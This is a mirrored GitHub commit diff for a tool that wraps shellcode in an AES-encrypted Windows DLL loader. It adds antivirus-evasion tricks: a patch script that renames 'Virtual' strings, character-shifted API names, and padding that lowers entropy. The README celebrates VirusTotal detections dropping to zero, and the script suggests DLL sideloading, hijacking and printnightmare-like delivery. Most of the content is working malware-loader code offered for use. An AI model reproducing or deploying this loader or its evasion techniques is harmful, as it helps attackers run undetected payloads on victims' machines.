mirror of
https://github.com/restkhz/ShellcodeEncrypt2DLL
synced 2026-06-06 16:34:37 +00:00
update
This commit is contained in:
@@ -14,7 +14,13 @@ VT: 2/72 (13/3/2025)
|
||||
|
||||
VT: 3/72 (14/3/2025)
|
||||
|
||||

|
||||
VT: 3/73 (27/3/2025)
|
||||
|
||||
**VT: 0/72 (28/3/2025) (after update)**
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
@@ -27,8 +33,8 @@ Dependencies:
|
||||
pip install pycryptodome
|
||||
sudo apt install mingw-w64
|
||||
```
|
||||
I know no one wants to memorize a bunch of arguments.
|
||||
Edit your key in the `ShellcodeEncrypt2Dll.py`
|
||||
I know no one wants to memorize a bunch of arguments…
|
||||
**Edit your key in the `ShellcodeEncrypt2Dll.py` first**
|
||||
|
||||
Example:
|
||||
```
|
||||
@@ -39,7 +45,15 @@ or
|
||||
python ShellcodeEncrypt2Dll.py --standalone shellcode.raw
|
||||
```
|
||||
|
||||
Then you will get a `shell.dll`
|
||||
Then you will get a `loader.dll`
|
||||
|
||||
For a particular antivirus program, we need to patch the dll to bypass…
|
||||
|
||||
```
|
||||
python patch.py (optional)
|
||||
```
|
||||
|
||||
Then you will get a `loader_patched.dll`
|
||||
|
||||
For non-standalone:
|
||||
```
|
||||
@@ -64,6 +78,10 @@ Your can edit your key in the python script.
|
||||
This script will generate a header file for template.cpp, then try to compile with `x86_64-w64-mingw32-g++`.
|
||||
The `shellcode` and `function names` like `VirtuallAlloc`, `CreateThread` etc will be encrypted(AES-CBC) with key.
|
||||
|
||||
Hide suspicious strings as much as possible…
|
||||
|
||||
Considering entropy…
|
||||
|
||||
The standalone mode will store the key in the DLL. Decrypt itself when running.
|
||||
The non-standalone mode needs your key as a parameter to decrypt itself when running.
|
||||
|
||||
|
||||
+24
-10
@@ -40,26 +40,40 @@ def makeHeaderFile(payload):
|
||||
encKey = f'#define KEY { ', '.join('0x{:02x}'.format(b) for b in bytearray(KEY))}\n'
|
||||
|
||||
# payload
|
||||
encPayload = f'#define PAYLOAD {', '.join('0x{:02x}'.format(b) for b in JPG_HEAD + aesenc(payload, KEY) + JPG_TAIL)}\n'
|
||||
encPayload = aesenc(payload, KEY)
|
||||
encPayloadDef = f'#define PAYLOAD {',0x00,'.join('0x{:02x}'.format(b) for b in JPG_HEAD + encPayload + JPG_TAIL)}\n'
|
||||
encPayloadEntropyDef = f'#define LOWER_PAYLOAD_ENTROPY {','.join(['0xff']* len(encPayload))}\n'
|
||||
|
||||
print(encKey, end='')
|
||||
print(encPayload, end='')
|
||||
|
||||
# funcName
|
||||
print("\nEncrypting functions:\n")
|
||||
encFuncList = []
|
||||
print("\n\nEncrypting functions:")
|
||||
encFuncDefList = []
|
||||
|
||||
# lower func entropy
|
||||
encFuncEntropyLen = 0
|
||||
|
||||
for f in funcList:
|
||||
encFunc = f'#define {f.upper().rstrip('\0')} {', '.join(('0x{:02x}'.format(b) for b in JPG_HEAD + aesenc(f.encode(), KEY) + JPG_TAIL))}\n'
|
||||
print(encFunc, end='')
|
||||
encFuncList.append(encFunc)
|
||||
encFunc = aesenc(f.encode(), KEY)
|
||||
encFuncDef = f'#define {f.upper().rstrip('\0')} {', '.join(('0x{:02x}'.format(b) for b in JPG_HEAD + encFunc + JPG_TAIL))}\n'
|
||||
print(encFuncDef, end='')
|
||||
encFuncDefList.append(encFuncDef)
|
||||
encFuncEntropyLen += len(encFunc)
|
||||
|
||||
|
||||
# payload and funcname offset
|
||||
offsetHead = f'#define OFFSET_HEAD {str(len(JPG_HEAD))}\n'
|
||||
offsetTail = f'#define OFFSET_TAIL {str(len(JPG_TAIL))}\n'
|
||||
|
||||
# insert 0 to lower the entropy by the length of encrypted func name
|
||||
encFuncEntropyDef = f'#define LOWER_FUNCNAME_ENTROPY {','.join(['0xff']*encFuncEntropyLen)}\n'
|
||||
|
||||
f = open("shellcode.h","w")
|
||||
f.write(encKey+encPayload + offsetHead + offsetTail +''.join(encFuncList))
|
||||
f.write(encKey+encPayloadDef + offsetHead + offsetTail +''.join(encFuncDefList) + encFuncEntropyDef + encPayloadEntropyDef )
|
||||
f.close()
|
||||
print()
|
||||
|
||||
|
||||
# x86_64-w64-mingw32-gcc template.cpp --shared -o test_ns.dll -lcrypt32 -O2 -fvisibility=hidden -Wl,--dynamicbase -Wl,--nxcompat -DNDEBUG -s
|
||||
def main():
|
||||
@@ -103,13 +117,13 @@ python ShellcodeEncrypt2Dll.py --standalone shellcode.raw
|
||||
|
||||
if args.standalone:
|
||||
print("STANDALONE mode")
|
||||
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-DSTANDALONE', '-fpermissive', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll']
|
||||
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-static-libgcc', '-static-libstdc++', '-static', '-DSTANDALONE', '-fpermissive', '-Wl,--dynamicbase', '-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'loader.dll']
|
||||
print("You can use it for sideload/hijack or in a printnightmare-like scenario.")
|
||||
print("Or just simply: rundll32 <path_to_dll>,EPoint")
|
||||
|
||||
elif args.non_standalone:
|
||||
print("NON-STANDALONE mode:")
|
||||
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden', '-Wl,--dynamicbase', '-fpermissive','-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'shell.dll']
|
||||
command = ['x86_64-w64-mingw32-g++', 'template.cpp', '--shared', '-O0', '-fvisibility=hidden','-static-libgcc', '-static-libstdc++', '-static', '-Wl,--dynamicbase', '-fpermissive','-Wl,--nxcompat', '-DNDEBUG', '-s', '-o', 'loader.dll']
|
||||
print(f"Try to run on target: rundll32 <path_to_dll>,EPoint {KEY.decode()}")
|
||||
try:
|
||||
print("[+] Compiling")
|
||||
@@ -118,7 +132,7 @@ python ShellcodeEncrypt2Dll.py --standalone shellcode.raw
|
||||
print("[-] Compile Failure:")
|
||||
print(result.stderr)
|
||||
else:
|
||||
print("[+] Done: shell.dll")
|
||||
print("[+] Done: loader.dll")
|
||||
print(result.stdout)
|
||||
|
||||
except FileNotFoundError:
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
import pefile
|
||||
|
||||
# Replace string "Virtual" in .rdata section to by pass some AV
|
||||
# just run python patch.py
|
||||
|
||||
old_str = b"Virtual"
|
||||
new_str = b"Blahbla"
|
||||
|
||||
pe = pefile.PE("loader.dll")
|
||||
|
||||
rdata_found = False
|
||||
for section in pe.sections:
|
||||
section_name = section.Name.rstrip(b'\x00')
|
||||
if section_name == b'.rdata':
|
||||
rdata_found = True
|
||||
print("[+] .rdata section found")
|
||||
data = section.get_data()
|
||||
|
||||
if old_str not in data:
|
||||
print("[+] Found string 'Virtual'")
|
||||
else:
|
||||
new_data = data.replace(old_str, new_str)
|
||||
raw_offset = section.PointerToRawData
|
||||
pe.__data__ = pe.__data__[:raw_offset] + new_data + pe.__data__[raw_offset + len(new_data):]
|
||||
print("[+] Done!")
|
||||
break
|
||||
|
||||
if not rdata_found:
|
||||
print("[-] .rdata not found")
|
||||
|
||||
output_filename = "loader_patched.dll"
|
||||
with open(output_filename, "wb") as f:
|
||||
f.write(pe.__data__)
|
||||
|
||||
print(f"[+] Saved to {output_filename}")
|
||||
+95
-12
@@ -4,7 +4,7 @@
|
||||
#include <stdlib.h>
|
||||
#include "shellcode.h"
|
||||
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
//#pragma comment(lib, "crypt32.lib")
|
||||
#pragma comment(lib, "user32.lib")
|
||||
|
||||
typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
@@ -12,6 +12,16 @@ typedef VOID (WINAPI *pRtlMoveMemory)(PVOID, const VOID*, SIZE_T);
|
||||
typedef HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
typedef BOOL (WINAPI *pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
|
||||
typedef BOOL (WINAPI *PFN_CryptAcquireContextW)(HCRYPTPROV*, LPCWSTR, LPCWSTR, DWORD, DWORD);
|
||||
typedef BOOL (WINAPI *PFN_CryptCreateHash)(HCRYPTPROV, ALG_ID, HCRYPTKEY, DWORD, HCRYPTHASH*);
|
||||
typedef BOOL (WINAPI *PFN_CryptHashData)(HCRYPTHASH, const BYTE*, DWORD, DWORD);
|
||||
typedef BOOL (WINAPI *PFN_CryptDeriveKey)(HCRYPTPROV, ALG_ID, HCRYPTHASH, DWORD, HCRYPTKEY*);
|
||||
typedef BOOL (WINAPI *PFN_CryptSetKeyParam)(HCRYPTKEY, DWORD, const BYTE*, DWORD);
|
||||
typedef BOOL (WINAPI *PFN_CryptDecrypt)(HCRYPTKEY, HCRYPTHASH, BOOL, DWORD, BYTE*, DWORD*);
|
||||
typedef BOOL (WINAPI *PFN_CryptDestroyKey)(HCRYPTKEY);
|
||||
typedef BOOL (WINAPI *PFN_CryptDestroyHash)(HCRYPTHASH);
|
||||
typedef BOOL (WINAPI *PFN_CryptReleaseContext)(HCRYPTPROV, DWORD);
|
||||
|
||||
pVirtualAlloc dynVirtualAlloc = NULL;
|
||||
pRtlMoveMemory dynMoveMemory = NULL;
|
||||
pCreateThread dynCreateThread = NULL;
|
||||
@@ -21,8 +31,57 @@ pVirtualProtect dynVirtualProtect = NULL;
|
||||
#define USE_HEADER_KEY
|
||||
#endif
|
||||
|
||||
void leftShift(char *str) {
|
||||
if (str == NULL) return;
|
||||
for (size_t i = 0; i < strlen(str); i++) {
|
||||
str[i] = str[i] - 1;
|
||||
}
|
||||
}
|
||||
|
||||
void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
|
||||
|
||||
char advapi32[] = "bewbqj43/emm";
|
||||
leftShift(advapi32);
|
||||
|
||||
HMODULE hAdvapi32 = LoadLibraryA(advapi32);
|
||||
|
||||
char CryptAcquireContextW_E[] = "DszquBdrvjsfDpoufyuX";
|
||||
char CryptCreateHash_E[] = "DszquDsfbufIbti";
|
||||
char CryptHashData_E[] = "DszquIbtiEbub";
|
||||
char CryptDeriveKey_E[] = "DszquEfsjwfLfz";
|
||||
char CryptSetKeyParam_E[] = "DszquTfuLfzQbsbn";
|
||||
char CryptDecrypt_E[] = "DszquEfdszqu";
|
||||
char CryptDestroyKey_E[] = "DszquEftuspzLfz";
|
||||
char CryptDestroyHash_E[] = "DszquEftuspzIbti";
|
||||
char CryptReleaseContext_E[] = "DszquSfmfbtfDpoufyu";
|
||||
|
||||
char *encrypted_functions[] = {
|
||||
CryptAcquireContextW_E,
|
||||
CryptCreateHash_E,
|
||||
CryptHashData_E,
|
||||
CryptDeriveKey_E,
|
||||
CryptSetKeyParam_E,
|
||||
CryptDecrypt_E,
|
||||
CryptDestroyKey_E,
|
||||
CryptDestroyHash_E,
|
||||
CryptReleaseContext_E
|
||||
};
|
||||
|
||||
int num = sizeof(encrypted_functions) / sizeof(encrypted_functions[0]);
|
||||
|
||||
for (int i = 0; i < num; i++) { leftShift(encrypted_functions[i]);}
|
||||
|
||||
PFN_CryptAcquireContextW CryptAcquireContextW = (PFN_CryptAcquireContextW)GetProcAddress(hAdvapi32, CryptAcquireContextW_E);
|
||||
PFN_CryptCreateHash CryptCreateHash = (PFN_CryptCreateHash)GetProcAddress(hAdvapi32, CryptCreateHash_E);
|
||||
PFN_CryptHashData CryptHashData = (PFN_CryptHashData)GetProcAddress(hAdvapi32, CryptHashData_E);
|
||||
PFN_CryptDeriveKey CryptDeriveKey = (PFN_CryptDeriveKey)GetProcAddress(hAdvapi32, CryptDeriveKey_E);
|
||||
PFN_CryptSetKeyParam CryptSetKeyParam = (PFN_CryptSetKeyParam)GetProcAddress(hAdvapi32, CryptSetKeyParam_E);
|
||||
PFN_CryptDecrypt CryptDecrypt = (PFN_CryptDecrypt)GetProcAddress(hAdvapi32, CryptDecrypt_E);
|
||||
PFN_CryptDestroyKey CryptDestroyKey = (PFN_CryptDestroyKey)GetProcAddress(hAdvapi32, CryptDestroyKey_E);
|
||||
PFN_CryptDestroyHash CryptDestroyHash = (PFN_CryptDestroyHash)GetProcAddress(hAdvapi32, CryptDestroyHash_E);
|
||||
PFN_CryptReleaseContext CryptReleaseContext = (PFN_CryptReleaseContext)GetProcAddress(hAdvapi32, CryptReleaseContext_E);
|
||||
|
||||
|
||||
HCRYPTPROV hProv;
|
||||
HCRYPTHASH hHash;
|
||||
HCRYPTKEY hKey;
|
||||
@@ -82,12 +141,17 @@ void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
|
||||
|
||||
|
||||
BOOL InitDynamicFunctions(char* key, DWORD keyLen) {
|
||||
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
|
||||
|
||||
char kernel32[] = "lfsofm43/emm";
|
||||
leftShift(kernel32);
|
||||
|
||||
HMODULE hKernel32 = GetModuleHandleA(kernel32);
|
||||
|
||||
unsigned char VA[] = {VIRTUALALLOC};
|
||||
unsigned char RMM[] = {RTLMOVEMEMORY};
|
||||
unsigned char CT[] = {CREATETHREAD};
|
||||
unsigned char VP[] = {VIRTUALPROTECT};
|
||||
unsigned char lower_funcname_entropy[] = {LOWER_FUNCNAME_ENTROPY};
|
||||
|
||||
DecryptAES((char*)VA, sizeof(VA), key, keyLen);
|
||||
DecryptAES((char*)RMM, sizeof(RMM), key, keyLen);
|
||||
@@ -117,8 +181,20 @@ void CALLBACK run(void) {
|
||||
unsigned char key[] = { KEY };
|
||||
DWORD keyLen = sizeof(key);
|
||||
|
||||
unsigned char payload[] = { PAYLOAD };
|
||||
DWORD payloadLen = sizeof(payload);
|
||||
unsigned char origPayload[] = { PAYLOAD };
|
||||
size_t loopLength = sizeof(origPayload) / sizeof(origPayload[0]);
|
||||
size_t payloadLen = (sizeof(origPayload) / sizeof(origPayload[0]) + 1) / 2;
|
||||
unsigned char payload[payloadLen];
|
||||
|
||||
DWORD i,j = 0;
|
||||
for(i=0; i < loopLength; i+=2) {
|
||||
payload[j] = origPayload[i];
|
||||
j++;
|
||||
}
|
||||
|
||||
|
||||
unsigned char lower_payload_entropy[] = { LOWER_PAYLOAD_ENTROPY };
|
||||
//DWORD payloadLen = sizeof(payload);
|
||||
|
||||
if (!InitDynamicFunctions((char*)key, keyLen)) {
|
||||
return;
|
||||
@@ -159,8 +235,19 @@ void CALLBACK run(void) {
|
||||
}
|
||||
#else
|
||||
void CALLBACK run(char* key, DWORD keyLen) {
|
||||
unsigned char payload[] = { PAYLOAD };
|
||||
DWORD payloadLen = sizeof(payload);
|
||||
unsigned char origPayload[] = { PAYLOAD };
|
||||
size_t loopLength = sizeof(origPayload) / sizeof(origPayload[0]);
|
||||
size_t payloadLen = (sizeof(origPayload) / sizeof(origPayload[0]) + 1) / 2;
|
||||
unsigned char payload[payloadLen];
|
||||
|
||||
DWORD i,j = 0;
|
||||
for(i=0; i < loopLength; i+=2) {
|
||||
payload[j] = origPayload[i];
|
||||
j++;
|
||||
}
|
||||
|
||||
unsigned char lower_payload_entropy[] = { LOWER_PAYLOAD_ENTROPY };
|
||||
//DWORD payloadLen = sizeof(payload);
|
||||
|
||||
if (!InitDynamicFunctions((char*)key, keyLen)) {
|
||||
free(key);
|
||||
@@ -223,6 +310,7 @@ DWORD WINAPI ThreadProc(LPVOID lpParam) {
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
extern "C" __declspec(dllexport)
|
||||
void CALLBACK meow(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
|
||||
#ifdef USE_HEADER_KEY
|
||||
@@ -234,12 +322,7 @@ void CALLBACK meow(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
|
||||
#endif
|
||||
}
|
||||
|
||||
#ifdef USE_HEADER_KEY
|
||||
DWORD WINAPI ThreadProc(LPVOID lpParam) {
|
||||
run();
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
||||
|
||||
Reference in New Issue
Block a user